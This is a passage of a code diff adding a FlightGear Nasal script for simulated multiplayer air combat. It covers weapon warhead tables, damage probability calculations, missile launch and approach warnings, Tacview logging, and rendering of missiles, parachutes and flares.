+    "7.62":              [11,0.005], # 7.62mm (non-explosive)
+    "Hydra-70":          [12,0.250], # F-16/A-6 LAU-68 and LAU-61
+    "SNEB":              [13,0.250], # Jaguar   
+    "DEFA 554":          [14,0.100], # 30mm Mirage
+    "20mm APDS":         [15,0.050], # CIWS
+    "LAU-10":            [16,0.225], # 127mm
+};    
+
+# lbs of warheads is explosive+fragmentation+fuse, so total warhead mass.
+
+var warheads = {
+    # [id,lbs,anti surface,cluster,(name)]
+    "AGM-65B":           [ 0,  126.00,1,0],
+    "AGM-84":            [ 1,  488.00,1,0],
+    "AGM-88":            [ 2,  146.00,1,0],
+    "MK-82SE":           [ 3,  192.00,1,0],# snake eye
+    "AGM-119":           [ 4,  264.50,1,0],
+    "AGM-154A":          [ 5,  493.00,1,0],
+    "AGM-158":           [ 6, 1000.00,1,0],
+    "ALARM":             [ 7,  450.00,1,0],
+    "AM 39 Exocet":      [ 8,  364.00,1,0], 
+    "AS 37 Martel":      [ 9,  330.00,1,0],# Also : AJ 168 Martel 
+    "AS30L":             [10,  529.00,1,0],
+    "BL755":             [11,  100.00,1,1],# 800lb bomblet warhead. Mix of armour piecing and HE. 100 due to need to be able to kill buk-m2.    
+    "CBU-87":            [12,  100.00,1,1],# bomblet warhead. Mix of armour piecing and HE. 100 due to need to be able to kill buk-m2.    
+    "CBU-105":           [13,  100.00,1,1],# bomblet warhead. Mix of armour piecing and HE. 100 due to need to be able to kill buk-m2.    
+    "AS 37 Armat":       [14,  330.00,1,0],
+    "FAB-100":           [15,   92.59,1,0],
+    "FAB-250":           [16,  202.85,1,0],
+    "FAB-500":           [17,  564.38,1,0],
+    "GBU-12":            [18,  190.00,1,0],
+    "GBU-24":            [19,  945.00,1,0],
+    "GBU-31":            [20,  945.00,1,0],
+    "GBU-54":            [21,  190.00,1,0],
+    "GBU-10":            [22, 2000.00,1,0],
+    "GBU-16":            [23,  450.00,1,0],
+    "HVAR":              [24,    7.50,1,0],#P51
+    "KAB-500":           [25,  564.38,1,0],
+    "Kh-25MP":           [26,  197.53,1,0],
+    "Kh-66":             [27,  244.71,1,0],
+    "LAU-68":            [28,   10.00,1,0],
+    "M71":               [29,  200.00,1,0],
+    "M71R":              [30,  200.00,1,0],
+    "M90":               [31,   10.00,1,1],# bomblet warhead. x3 of real mass.
+    "MK-82":             [32,  192.00,1,0],
+    "MK-83":             [33,  445.00,1,0],
+    "MK-83HD":           [34,  445.00,1,0],
+    "MK-84":             [35,  945.00,1,0],
+    "OFAB-100":          [36,   92.59,1,0],
+    "RB-04E":            [37,  661.00,1,0],
+    "RB-15F":            [38,  440.92,1,0],
+    "RB-75":             [39,  126.00,1,0],
+    "RN-14T":            [40,  800.00,1,0], #fictional, thermobaeric replacement for the RN-24 nuclear bomb
+    "RN-18T":            [41, 1200.00,1,0], #fictional, thermobaeric replacement for the RN-28 nuclear bomb
+    "RS-2US":            [42,   28.66,1,0],
+    "S-21":              [43,  245.00,1,0],
+    "S-24":              [44,  271.00,1,0],
+    "SCALP EG":          [45,  992.00,1,0],# aka. Storm Shadow
+    "Sea Eagle":         [46,  505.00,1,0],
+    "MK-82HD":           [47,  192.00,1,0],
+    "MK-20":             [48,  100.00,1,1],#aka CBU-100 # bomblet warhead. 247 x 0.4lb
+    "ZB-250":            [49,  236.99,1,0],
+    "ZB-500":            [50,  473.99,1,0],
+    "AGM-45":            [51,  149.00,1,0],#shrike
+    "AIM-120B":          [52,   44.00,0,0],
+    "AIM-54":            [53,  135.00,0,0],
+    "AGM-78":            [54,  215.00,1,0],
+    "AIM-7F":            [55,   88.00,0,0],
+    "AGM-62":            [56, 2000.00,1,0],
+    "AIM-9L":            [57,   20.80,0,0],
+    "AGM-65D":           [58,  126.00,1,0],
+    "AIM-132":           [59,   22.05,0,0],
+    "d-8":               [60,   20.80,0,0],#deprecated
+    "KN-06":             [61,  315.00,0,0],
+    "9M317":             [62,  145.00,0,0],
+    "d9":                [63,   27.00,0,0],#deprecated 
+    "R.550 Magic":       [64,   26.45,0,0],# also called majic
+    "d-0":               [65,   30.00,0,0],#deprecated
+    "R.550 Magic 2":     [66,   27.00,0,0],
+    "R.530":             [67,   55.00,0,0],
+    "d-a":               [68,   30.00,0,0],#deprecated
+    "AIM-9M":            [69,   20.80,0,0],
+    "R-73 RMD-1":        [70,   16.31,0,0],# automat Mig29/su27
+    "Meteor":            [71,   55.00,0,0],
+    "MICA-EM":           [72,   30.00,0,0], 
+    "MICA-IR":           [73,   30.00,0,0], 
+    "R-13M":             [74,   16.31,0,0],
+    "R-27R1":            [75,   85.98,0,0],
+    "R-27T1":            [76,   85.98,0,0],
+    "R-3R":              [77,   16.31,0,0],
+    "R-3S":              [78,   16.31,0,0],
+    "R-55":              [79,   20.06,0,0],
+    "R-60":              [80,    6.60,0,0],
+    "R-60M":             [81,    7.70,0,0],
+    "R-73E":             [82,   16.31,0,0],
+    "R-77":              [83,   49.60,0,0],
+    "R74":               [84,   16.00,0,0],
+    "RB-05A":            [85,  353.00,1,0],
+    "RB-24":             [86,   20.80,0,0],
+    "RB-24J":            [87,   20.80,0,0],
+    "RB-71":             [88,   88.00,0,0],
+    "RB-74":             [89,   20.80,0,0],
+    "RB-99":             [90,   44.00,0,0],
+    "Super 530D":        [91,   66.00,0,0],
+    "48N6":              [92,  330.00,0,0],# 48N6 from S-300pmu
+    "pilot":             [93,    0.00,1,0],# ejected pilot
+    "BETAB-500ShP":      [94, 1160.00,1,0],
+    "Flare":             [95,    0.00,0,0],
+};
+
+var id2warhead = [];
+var launched = {};# callsign: elapsed-sec
+var approached = {};# callsign: uniqueID
+var heavy_smoke = [61,62,92];
+
+var k = keys(warheads);
+
+for(var myid = 0;myid<size(k);myid+=1) {
+  foreach(key ; k) {
+    var wh = warheads[key];
+    if (wh[0] == myid) {
+      append(wh, key);
+      append(id2warhead, wh);
+      break;
+    }
+  }
+  if (size(id2warhead) != myid+1) {
+    printf("warheads corrupt at %d", myid);
+    return;
+  }
+}
+
+var id2shell = [];
+
+var k = keys(shells);
+
+for(var myid = 0;myid<size(k);myid+=1) {
+  foreach(key ; k) {
+    var wh = shells[key];
+    if (wh[0] == myid) {
+      append(wh, key);
+      append(id2shell, wh);
+      break;
+    }
+  }
+  if (size(id2shell) != myid+1) {
+    printf("shells corrupt at %d", myid);
+    return;
+  }
+}
+
+#==================================================================
+#                       Notification processing
+#==================================================================
+
+#
+# Create emesary recipient for handling other craft's missile positioins.
+var DamageRecipient =
+{
+    new: func(_ident)
+    {
+        var new_class = emesary.Recipient.new(_ident);
+
+        new_class.Receive = func(notification)
+        {
+            if (!notification.FromIncomingBridge) {
+              return emesary.Transmitter.ReceiptStatus_NotProcessed;
+            }
+#
+#
+# This will be where movement and damage notifications are received. 
+# This can replace MP chat for damage notifications 
+# and allow missile visibility globally (i.e. all suitable equipped models) have the possibility
+# to receive notifications from all other suitably equipped models.
+            if (notification.NotificationType == "ArmamentInFlightNotification" or notification.NotificationType == "ObjectInFlightNotification") {
+#                print("recv(d1): ",notification.NotificationType, " ", notification.Ident, 
+#                      " UniqueIdentity=",notification.UniqueIdentity,
+#                      " Kind=",notification.Kind,
+#                      " SecondaryKind=",notification.SecondaryKind,
+#                      " lat=",notification.Position.lat(),
+#                      " lon=",notification.Position.lon(),
+#                      " alt=",notification.Position.alt(),
+#                      " u_fps=",notification.u_fps,
+#                      " Heading=",notification.Heading,
+#                      " Pitch=",notification.Pitch,
+#                      " IsDistinct=",notification.IsDistinct,
+#                      " Callsign=",notification.Callsign,
+#                      " RemoteCallsign=",notification.RemoteCallsign,
+#                      " Flags=",notification.Flags,
+#                      " Radar=",bits.test(notification.Flags, 0),
+#                      " Thrust=",bits.test(notification.Flags, 1));
+                #
+                # todo:
+                #   animate missiles
+                #
+                if (notification.NotificationType == "ObjectInFlightNotification") {
+                  notification.Pitch = 0;
+                  notification.Heading = 0;
+                  notification.u_fps = 0;
+                  notification.Flags = 0;
+                  notification.RemoteCallsign = "";
+                }
+                if(getprop("payload/armament/msg") == 0 and notification.RemoteCallsign != notification.Callsign) {
+                  return emesary.Transmitter.ReceiptStatus_NotProcessed;
+                }
+                                
+                var elapsed = getprop("sim/time/elapsed-sec");
+                var ownPos = geo.aircraft_position();
+                var bearing = ownPos.course_to(notification.Position);
+                var radarOn = bits.test(notification.Flags, 0);
+                var thrustOn = bits.test(notification.Flags, 1);
+                var index = notification.SecondaryKind-21;
+                var typ = id2warhead[index];
+                
+                if (notification.Kind == MOVE) {
+                  if (thrustOn or index == 93 or index == 95) {
+                    # visualize missile smoke trail
+                    
+                      var smoke = 1;
+                      if (index == 93) {
+                        smoke = 0;
+                      } elsif (index == 95) {
+                        smoke = 3;
+                        if (notification.Position.distance_to(ownPos)*M2NM > 5) {
+                          return emesary.Transmitter.ReceiptStatus_OK;
+                        }
+                      } else {
+                        foreach(var black;heavy_smoke) {
+                          if (index == black) {
+                            smoke = 2;
+                            break;
+                          }
+                        }
+                      }
+                      dynamics["noti_"~notification.Callsign~"_"~notification.UniqueIdentity] = [systime(), notification.Position.lat(), notification.Position.lon(), notification.Position.alt(), notification.u_fps, notification.Heading, notification.Pitch,smoke];
+                                     
+                  } else {
+                    # the +1.5 is the update time that missiles send notifications out in
+                    dynamics["noti_"~notification.Callsign~"_"~notification.UniqueIdentity] = [systime()-(time_before_delete-1.6), notification.Position.lat(), notification.Position.lon(), notification.Position.alt(), notification.u_fps, notification.Heading, notification.Pitch,-1]
+                  }
+                } elsif (notification.Kind == DESTROY) {
+                  dynamics["noti_"~notification.Callsign~"_"~notification.UniqueIdentity] = [systime()-(time_before_delete-1.6), notification.Position.lat(), notification.Position.lon(), notification.Position.alt(), notification.u_fps, notification.Heading, notification.Pitch,-1]
+                }
+                
+                if (tacview_supported and getprop("sim/multiplay/txhost") == "mpserver.opredflag.com") {
+                  if (tacview.starttime) {
+                    var tacID = left(md5(notification.Callsign~notification.UniqueIdentity),6);
+                    if (notification.Kind == DESTROY) {
+                      thread.lock(tacview.mutexWrite);
+                      tacview.write("#" ~ (systime() - tacview.starttime)~"\n");
+                      tacview.write(tacID~",Visible=0\n-"~tacID~"\n");
+                      thread.unlock(tacview.mutexWrite);
+                    } else {
+                      var typp = typ[4]=="pilot"?"Parachutist":typ[4];
+                      var extra = typp=="Parachutist"?"|0|0|0":"";
+                      var extra2 = typ[2]==0?",Type=Weapon+Missile":",Type=Weapon+Bomb";
+                      extra2 = typp=="Parachutist"?"":extra2;
+                      var color = radarOn?",Color=Red":",Color=Yellow";
+                      thread.lock(tacview.mutexWrite);
+                      tacview.write("#" ~ (systime() - tacview.starttime)~"\n");
+                      tacview.write(tacID~",T="~notification.Position.lon()~"|"~notification.Position.lat()~"|"~notification.Position.alt()~extra~",Name="~typp~color~extra2~"\n");
+                      thread.unlock(tacview.mutexWrite);
+                    }
+                  }
+                }
+                
+                if (notification.Kind == DESTROY) {
+                  return emesary.Transmitter.ReceiptStatus_OK;
+                }
+                
+                if (index == 95 or index == 93) {
+                  return emesary.Transmitter.ReceiptStatus_OK;
+                }
+                
+                # Missile launch warning:
+                if (thrustOn) {
+                  var launch = launched[notification.Callsign~notification.UniqueIdentity];
+                  if (launch == nil or elapsed - launch > 300) {
+                    launch = elapsed;
+                    launched[notification.Callsign~notification.UniqueIdentity] = launch;
+                    if (notification.Position.direct_distance_to(ownPos)*M2NM < mlw_max) {
+                      setprop("payload/armament/MLW-bearing", bearing);
+                      setprop("payload/armament/MLW-launcher", notification.Callsign);
+                      setprop("payload/armament/MLW-count", getprop("payload/armament/MLW-count")+1);
+                      var out = sprintf("Missile Launch Warning from %03d degrees.", bearing);
+                      if (rwr_to_screen) screen.log.write(out, 1,1,0);# temporary till someone models a RWR in RIO seat
+                      print(out);
+                      damageLog.push(sprintf("Missile Launch Warning from %03d degrees from %s.", bearing, notification.Callsign));
+                    }
+                  }
+                }
+                
+                # Missile approach warning:
+                var callsign = getprop("sim/multiplay/callsign");
+                callsign = size(callsign) < 8 ? callsign : left(callsign,7);
+                if (notification.RemoteCallsign != callsign) return emesary.Transmitter.ReceiptStatus_OK;
+                if (!radarOn) return emesary.Transmitter.ReceiptStatus_OK;# this should be little more complex later
+                var heading = getprop("orientation/heading-deg");
+                var clock = geo.normdeg(bearing - heading);
+                setprop("payload/armament/MAW-bearing", bearing);
+                setprop("payload/armament/MAW-active", 1);# resets every 1 seconds
+                MAW_elapsed = elapsed;
+                var appr = approached[notification.Callsign~notification.UniqueIdentity];
+                if (appr == nil or elapsed - appr > 450) {
+                  printf("Missile Approach Warning from %03d degrees.", bearing);
+                  damageLog.push(sprintf("Missile Approach Warning from %03d degrees from %s.", bearing, notification.Callsign));
+                  if (rwr_to_screen) screen.log.write(sprintf("Missile Approach Warning from %03d degrees.", bearing), 1,1,0);# temporary till someone models a RWR in RIO seat
+                  approached[notification.Callsign~notification.UniqueIdentity] = elapsed;
+                  if (m28_auto) mig28.engagedBy(notification.Callsign);
+                }
+                return emesary.Transmitter.ReceiptStatus_OK;
+            }
+            if (notification.NotificationType == "ArmamentNotification") {
+#                if (notification.FromIncomingBridge) {
+#                    print("recv(d2): ",notification.NotificationType, " ", notification.Ident,
+#                          " Kind=",notification.Kind,
+#                          " SecondaryKind=",notification.SecondaryKind,
+#                          " RelativeAltitude=",notification.RelativeAltitude,
+#                          " Distance=",notification.Distance,
+#                          " Bearing=",notification.Bearing,
+#                          " Inc-bridge=",notification.FromIncomingBridge,
+#                          " RemoteCallsign=",notification.RemoteCallsign);
+#                    debug.dump(notification);
+                    #
+                    #
+                    var callsign = getprop("sim/multiplay/callsign");
+                    callsign = size(callsign) < 8 ? callsign : left(callsign,7);
+                    if (notification.RemoteCallsign == callsign and getprop("payload/armament/msg") == 1) {
+                        #damage enabled and were getting hit
+                        if (m28_auto) mig28.engagedBy(notification.Callsign);
+                        if (notification.SecondaryKind < 0 and hitable_by_cannon) {
+                            # cannon hit
+                            var probability = id2shell[-1*notification.SecondaryKind-1][1];
+                            var typ = id2shell[-1*notification.SecondaryKind-1][2];
+                            var hit_count = notification.Distance;
+                            if (hit_count != nil) {
+                                var damaged_sys = 0;
+                                for (var i = 1; i <= hit_count; i = i + 1) {
+                                  var failed = fail_systems(probability);
+                                  damaged_sys = damaged_sys + failed;
+                                }
+                                printf("Took %.1f%% x %2d damage from %s! %s systems was hit.", probability*100, hit_count, typ, damaged_sys);
+                                damageLog.push(sprintf("%s hit you with %d %s.", notification.Callsign, hit_count, typ));
+                                nearby_explosion();
+                            }
+                        } elsif (notification.SecondaryKind > 20) {
+                            # its a warhead
+                            var dist     = notification.Distance;
+                            var wh = id2warhead[notification.SecondaryKind - 21];
+                            var type = wh[4];#test code
+                            if (wh[3] == 1) {
+                                # cluster munition
+                                var lbs = wh[1];
+                                var maxDist = maxDamageDistFromWarhead(lbs);
+                                var distance = math.max(0,rand()*5-full_damage_dist_m);#being 0 to 5 meters from a bomblet on average.
+                                var diff = math.max(0, maxDist-distance);
+                                diff = diff * diff;
+                                var probability = diff / (maxDist*maxDist);
+                                if (use_hitpoints_instead_of_failure_modes_bool) {
+                                  var hpDist = maxDamageDistFromWarhead(hp_max);
+                                  probability = (maxDist/hpDist)*probability;
+                                }
+                                var failed = fail_systems(probability, hp_max);
+                                var percent = 100 * probability;
+                                printf("Took %.1f%% damage from %s clusterbomb at %0.1f meters from bomblet. %s systems was hit", percent,type,distance,failed);
+                                damageLog.push(sprintf("%s hit you with %s bomblet, %.1f meters distance.", notification.Callsign, type, dist));
+                                nearby_explosion();
+                                return;
+                            }
+
+                            var distance = math.max(dist-full_damage_dist_m, 0);
+              
+                            var maxDist = 0;# distance where the explosion dont hurt us anymore
+                            var lbs = 0;
+                            
+                            if (wh[2] == 1) {
+                              lbs = wh[1];
+                              maxDist = maxDamageDistFromWarhead(lbs);#3*sqrt(lbs)
+                            } elsif (hitable_by_air_munitions and wh[2] == 0) {
+                              lbs = wh[1];
+                              maxDist = maxDamageDistFromWarhead(lbs);
+                            } else {
+                              return;
+                            }
+                            
+                            var diff = maxDist-distance;
+                            if (diff < 0) {
+                              diff = 0;
+                            }
+                            diff = diff * diff;
+                                          
+                            var probability = diff / (maxDist*maxDist);
+                            
+                            if (use_hitpoints_instead_of_failure_modes_bool) {
+                              var hpDist = maxDamageDistFromWarhead(hp_max);
+                              probability = (maxDist/hpDist)*probability;
+                            }
+
+                            var failed = fail_systems(probability, hp_max);
+                            var percent = 100 * probability;
+                            printf("Took %.1f%% damage from %s at %0.1f meters. %s systems was hit", percent,type,dist,failed);
+                            damageLog.push(sprintf("%s hit you with %s, %.1f meters distance.", notification.Callsign, type, dist));
+                            nearby_explosion();
+                            
+                            ####
+                            # I don't remember all the considerations that went into our original warhead damage model.
+                            # But looking at the formula it looks like they all do 100% damage at 0 meter hit,
+                            # and warhead size is only used to determine the decrease of damage with distance increase.
+                            # It sorta gets the job done though, so I am hesitant to advocate that warheads above a certain
+                            # size should give 100% damage for some distance, and that warheads smaller than certain size should
+                            # not give 100% damage even on direct hit.
+                            # Anyway, for hitpoint based assets, this is now the case. Maybe we should consider to also do something
+                            # similar for failure mode based aircraft. ~Nikolai
+                            ####
+                            
+                            ## example 1: ##
+                            # 300 lbs warhead, 50 meters distance
+                            # maxDist=52
+                            # diff = 52-50 = 2
+                            # diff^2 = 4
+                            # prob = 4/2700 = 0.15%
+                            
+                            ## example 2: ##
+                            # 300 lbs warhead, 25 meters distance
+                            # maxDist=52
+                            # diff = 52-25 = 27
+                            # diff^2 = 729
+                            # prob = 729/2700 = 27%
+                        } 
+                    }
+#                }
+                return emesary.Transmitter.ReceiptStatus_OK;
+            }
+            if (notification.NotificationType == "StaticNotification") {
+                if(getprop("payload/armament/msg") == 0) {
+                  return emesary.Transmitter.ReceiptStatus_NotProcessed;
+                }
+                if (notification.Kind == CREATE and getprop("payload/armament/enable-craters") == 1 and statics["obj_"~notification.UniqueIdentity] == nil) {
+                    if (notification.SecondaryKind == 0) {# TODO: make a hash with all the models
+                        var crater_model = getprop("payload/armament/models") ~ "crater_small.xml";
+                        var static = geo.put_model(crater_model, notification.Position.lat(), notification.Position.lon(), notification.Position.alt(), notification.Heading);
+                        if (static != nil) {
+                            statics["obj_"~notification.UniqueIdentity] = [static, notification.Position.lat(), notification.Position.lon(), notification.Position.alt(), notification.Heading, notification.SecondaryKind];
+                            #static is a PropertyNode inside /models
+                        }
+                    } elsif (notification.SecondaryKind == 1) {
+                        var crater_model = getprop("payload/armament/models") ~ "crater_big.xml";
+                        var static = geo.put_model(crater_model, notification.Position.lat(), notification.Position.lon(), notification.Position.alt(), notification.Heading);
+                        if (static != nil) {
+                            statics["obj_"~notification.UniqueIdentity] = [static, notification.Position.lat(), notification.Position.lon(), notification.Position.alt(), notification.Heading, notification.SecondaryKind];
+                        }
+                    } elsif (notification.SecondaryKind == 2) {
+                        var crater_model = getprop("payload/armament/models") ~ "bomb_hit_smoke.xml";
+                        var static = geo.put_model(crater_model, notification.Position.lat(), notification.Position.lon(), notification.Position.alt(), notification.Heading);
+                        if (static != nil) {
+                            statics["obj_"~notification.UniqueIdentity] = [static, notification.Position.lat(), notification.Position.lon(), notification.Position.alt(), notification.Heading, notification.SecondaryKind];
+                        }
+                    }
+                } elsif (notification.Kind == REQUEST_ALL and getprop("payload/armament/enable-craters") == 1) {
+                  # someone has requested all statics, lets send them out
+                  var kes = keys(statics);
+                  printf(notification.Callsign~" has requested all statics, sending %d to him/her.",size(kes));
+                  foreach(ke;kes) {
+                    var static = statics[ke];
+                    var msg = notifications.StaticNotification.new("stat", num(substr(ke,4)), CREATE, static[5]);
+                    msg.Position.set_latlon(static[1],static[2],static[3]);
+                    msg.IsDistinct = 0;
+                    msg.Heading = static[4];
+                    notifications.hitBridgedTransmitter.NotifyAll(msg);
+                  }
+                }
+                return emesary.Transmitter.ReceiptStatus_OK;
+            }
+            return emesary.Transmitter.ReceiptStatus_NotProcessed;
+        };
+        return new_class;
+    }
+};
+
+damage_recipient = DamageRecipient.new("DamageRecipient");
+emesary.GlobalTransmitter.Register(damage_recipient);
+
+#==================================================================
+#                       Notification Kinds
+#==================================================================
+# Static variables for notification.Kind:
+var CREATE = 1;
+var MOVE = 2;
+var DESTROY = 3;
+var IMPACT = 4;
+var REQUEST_ALL = 5;
+
+#==================================================================
+#                       Flying missiles over MP
+#==================================================================
+
+var statics = {};
+var dynamics = {};
+var dynamic3d = [];
+var deadreckon_updatetime = 0.1;# 1/15 of missile send rate
+var time_before_delete = 2.5;# time since last notification before deleting
+
+var dynamic_loop = func {
+  # This keeps track of MP flying missiles/parachutes/flares and manages ModelManager.
+  var new_dynamic3d = [];
+  var stime = systime();
+  foreach (dynamic3d_entry ; dynamic3d) {
+    var dyna = dynamics[dynamic3d_entry[0]];
+    if (dyna != nil and stime-dyna[0] > time_before_delete) {
+      # OLD, DELETE ALL
+      delete(dynamics, dynamic3d_entry[0]);
+      reckon_delete(dynamic3d_entry);
+    } elsif (dyna != nil and dynamic3d_entry[1] < dyna[0]) {
+      # REFRESH INCOMING
+      # update pos and attitude
+      append(new_dynamic3d, reckon_update(dyna, dynamic3d_entry, stime));
+      delete(dynamics, dynamic3d_entry[0]);
+    } elsif (dyna == nil and stime-dynamic3d_entry[1] < time_before_delete) {
+      # BETWEEN UPDATES
+      # deadreckon
+      reckon_move(dynamic3d_entry, stime);
+      append(new_dynamic3d, dynamic3d_entry);
+    } else {
+      # OLD, DELETE ALL
+      reckon_delete(dynamic3d_entry);
+    }
+  }
+  dynamic3d = new_dynamic3d;
+  var kees = keys(dynamics);
+  foreach(kee; kees) {
+    var dyna = dynamics[kee];
+    if (stime-dyna[0] < time_before_delete) {
+      var new_entry = reckon_create(kee, dyna, stime);
+      if (new_entry !=nil) {
+        append(dynamic3d, new_entry);
+      }
+    }
+    delete(dynamics, kee);
+  }
+  settimer(dynamic_loop,deadreckon_updatetime);
+}
+
+var ModelManager = {
+    # This shows missiles/parachutes/flares flying and their smoke trail.
+    new: func (path,lat,lon,alt_ft,heading,pitch,para) {
+        var m = {parents:[ModelManager]};
+        var n = props.globals.getNode("models", 1);
+        var i = 0;
+        for (i = 0; 1==1; i += 1) {
+          if (n.getChild("model", i, 0) == nil) {
+            break;
+          }
+        }
+        m.model = n.getChild("model", i, 1);
+        
+        n = props.globals.getNode("sim/emesary-models", 1);
+        for (i = 0; 1==1; i += 1) {
+          if (n.getChild("dynamic", i, 0) == nil) {
+            break;
+          }
+        }
+        m.ai = n.getChild("dynamic", i, 1);
+        
+        m.model.getNode("path", 1).setValue(path);
+        
+        # Create the AI position and orientation properties.
+        m.lat   = m.ai.getNode("position/latitude-deg", 1);
+        m.lon   = m.ai.getNode("position/longitude-deg", 1);
+        m.alt_ft= m.ai.getNode("position/altitude-ft", 1);
+        m.heading= m.ai.getNode("orientation/true-heading-deg", 1);
+        m.pitch = m.ai.getNode("orientation/pitch-deg", 1);
+        m.roll  = m.ai.getNode("orientation/roll-deg", 1);
+        
+        m.lat.setDoubleValue(lat);
+        m.lon.setDoubleValue(lon);
+        m.alt_ft.setDoubleValue(alt_ft);
+        m.heading.setDoubleValue(heading);
+        m.pitch.setDoubleValue(para?0:pitch);
+        m.roll.setDoubleValue(0);
+        
+        m.vLat = lat;
+        m.vLon = lon;
+        m.vAlt_ft = alt_ft;
+        m.vHeading = heading;
+        m.vPitch = pitch;
+        #m.vRoll = 0;
+        m.pLat = m.vLat;
+        m.pLon = m.vLon;
+        m.pAlt_ft = m.vAlt_ft;
+        m.pHeading = m.vHeading;
+        m.pPitch = m.vPitch;
+        
+        
+        m.model.getNode("latitude-deg-prop", 1).setValue(m.lat.getPath());
+        m.model.getNode("longitude-deg-prop", 1).setValue(m.lon.getPath());
+        m.model.getNode("elevation-ft-prop", 1).setValue(m.alt_ft.getPath());
+        m.model.getNode("heading-deg-prop", 1).setValue(m.heading.getPath());
+        m.model.getNode("pitch-deg-prop", 1).setValue(m.pitch.getPath());
+        m.model.getNode("roll-deg-prop", 1).setValue(m.roll.getPath());
+        
+        m.coord = geo.Coord.new();
+        m.uBody_fps = 0;
+        m.last = [geo.Coord.new().set_latlon(lat,lon,alt_ft*FT2M).xyz(),systime()];
+        m.past = m.last;
+        m.frametime = 0;
+        m.delayTime = 0;        
+        
+        return m;
+    },
+    moveRealtime: func (uBody_fps, dt, factor) {
+        if (me.uBody_fps == 0) me.uBody_fps = uBody_fps;
+        me.slant_ft   = (me.uBody_fps < uBody_fps?me.uBody_fps:uBody_fps) * dt * factor;
+        me.uBody_fps  = uBody_fps;
+        me.alt_dist   = me.slant_ft*math.sin(me.vPitch*D2R);
+        me.horiz_dist = me.slant_ft*math.cos(me.vPitch*D2R);
+        
+        me.coord.set_latlon(me.vLat, me.vLon, (me.vAlt_ft+me.alt_dist) * FT2M);
+        
+        me.coord = me.coord.apply_course_distance(me.vHeading, me.horiz_dist*FT2M);
+                
+        me.latlon = me.coord.latlon();
+        
+        me.vLat    = me.latlon[0];
+        me.vLon    = me.latlon[1];
+        me.vAlt_ft = me.latlon[2]*M2FT;
+        
+        me.lat.setDoubleValue(me.vLat);
+        me.lon.setDoubleValue(me.vLon);
+        me.alt_ft.setDoubleValue(me.vAlt_ft);
+    },
+    moveDelayed: func (dt) {
+        if (me.frametime==0) return;
+        me.place();
+        me.xyz = me.interpolate(me.past[0],me.last[0], me.delayTime/me.frametime);
+        #print("% "~100*me.delayTime/me.frametime);
+        me.coord.set_xyz(me.xyz[0],me.xyz[1],me.xyz[2]);
+        me.latlon = me.coord.latlon();
+        me.lat.setDoubleValue(me.latlon[0]);
+        me.lon.setDoubleValue(me.latlon[1]);
+        me.alt_ft.setDoubleValue(me.latlon[2]*M2FT);
+        me.delayTime += dt;
+    },
+    interpolate: func (start, end, fraction) {
+        me.xx = (start[0]*(1-fraction)+end[0]*fraction);
+        me.yy = (start[1]*(1-fraction)+end[1]*fraction);
+        me.zz = (start[2]*(1-fraction)+end[2]*fraction);
+        return [me.xx,me.yy,me.zz];
+    },
+    place: func {
+      if (me["loadNode"] == nil) {
+        me.loadNode = me.model.getNode("load", 1);
+        me.loadNode.setBoolValue(1);
+        me.loadNode.setBoolValue(0);
+      }
+    },
+    translateDelayed: func (lat,lon,alt_ft,heading,pitch, para) {
+        me.heading.setDoubleValue(heading);
+        me.pitch.setDoubleValue(para?0:pitch);
+        
+        me.pLat = me.vLat;
+        me.pLon = me.vLon;
+        me.pAlt_ft = me.vAlt_ft;
+        me.pHeading = me.vHeading;
+        me.pPitch = me.vPitch;
+        
+        me.vLat = lat;
+        me.vLon = lon;
+        me.vAlt_ft = alt_ft;
+        me.vHeading = heading;
+        me.vPitch = pitch;
+        #me.vRoll = 0;
+        
+        me.past = me.last;
+        me.last = [geo.Coord.new().set_latlon(lat,lon,alt_ft*FT2M).xyz(),systime()];
+        me.delayTime = 0;
+        me.frametime = me.last[1]-me.past[1];
+    },
+    translateRealtime: func (lat,lon,alt_ft,heading,pitch, para) {
+        me.lat.setDoubleValue(lat);
+        me.lon.setDoubleValue(lon);
+        me.alt_ft.setDoubleValue(alt_ft);
+        me.heading.setDoubleValue(heading);
+        me.pitch.setDoubleValue(para?0:pitch);
+        #me.roll.setDoubleValue(0);
+                
+        me.vLat = lat;
+        me.vLon = lon;
+        me.vAlt_ft = alt_ft;
+        me.vHeading = heading;
+        me.vPitch = pitch;
+        #me.vRoll = 0;
+    },
+    del: func {
+      me.model.remove();
+      me.ai.remove();
+    },
+};
+
+var reckon_create = func (kee, dyna, stime) {
+  var path = getprop("payload/armament/models") ~ "parachutist.xml";
+  if (dyna[7]==1) {
+    path = getprop("payload/armament/models") ~ "light_smoke.xml";
+  } elsif (dyna[7] ==2) {
+    path = getprop("payload/armament/models") ~ "heavy_smoke.xml";
+  } elsif (dyna[7] ==3) {
+    path = getprop("payload/armament/models") ~ "the-flare.xml";
+  } elsif (dyna[7] == -1) {
+    return nil;
+  }
+  var static = ModelManager.new(path, dyna[1],dyna[2],dyna[3]*M2FT,dyna[5],dyna[6],dyna[7]==0);#path,lat,lon,alt_m,heading,pitch
+  if (static != nil) {
+    var entry = [kee, stime, static, dyna[4]];
+    return entry;
+  }
+  print("NOT FOUND (Emesary): "~path);
+  return nil;
+}
+
+var reckon_update = func (dyna, entry, stime) {
+  var static = entry[2];
+  var dynami2 = [entry[0], stime, static, dyna[4]];
+  # translate
+  static.translateDelayed(dyna[1],dyna[2],dyna[3]*M2FT,dyna[5],dyna[6],dyna[7]==0);
+  static.moveDelayed(deadreckon_updatetime);
+  return dynami2;
+}
+
+var reckon_move = func (entry, stime) {
+  var static = entry[2];
+  var time_then = entry[1];
+  var time_now = stime;
+  # dead-reckon
+  #static.moveRealtime(entry[3] , time_now-time_then, entry[4]?0.25:0.5);
+  static.moveDelayed(deadreckon_updatetime);#time_now-time_then);
+}
+
+var reckon_delete = func (entry) {
+  entry[2].del();
+}
+
+dynamic_loop();
+
+#==================================================================
+#                       Flares over MP
+#==================================================================
+
+var last_prop = 0;
+var last_release = 0;
+var flare_list = [];
+var flare_update_time = 0.4;
+var flare_duration = 8;
+var flare_terminal_speed = 50;#m/s
+var flares_max_process_per_loop = 4;
+
+var flare_sorter = func(a, b) {
+    if(a[0] < b[0]){
+        return -1; # A should before b in the returned vector
+    }elsif(a[0] == b[0]){
+        return 0; # A is equivalent to b 
+    }else{
+        return 1; # A should after b in the returned vector
+    }
+}
+
+var animate_flare = func {
+  # Send out notifications about own flare positions every 0.4s
+  if (!getprop("payload/armament/msg")) {
+    return;
+  }
+  var stime = systime();
+  # old flares
+  var old_flares = [];
+  var flares_sent = 0;
+  flare_list = sort(flare_list, flare_sorter);
+  foreach(flare; flare_list) {
+    if (stime-flare[1] > flare_duration) {
